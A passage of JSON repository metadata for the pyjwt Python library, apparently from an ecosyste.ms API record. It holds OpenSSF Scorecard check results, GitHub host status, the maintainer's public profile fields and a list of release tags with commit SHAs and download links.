d084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla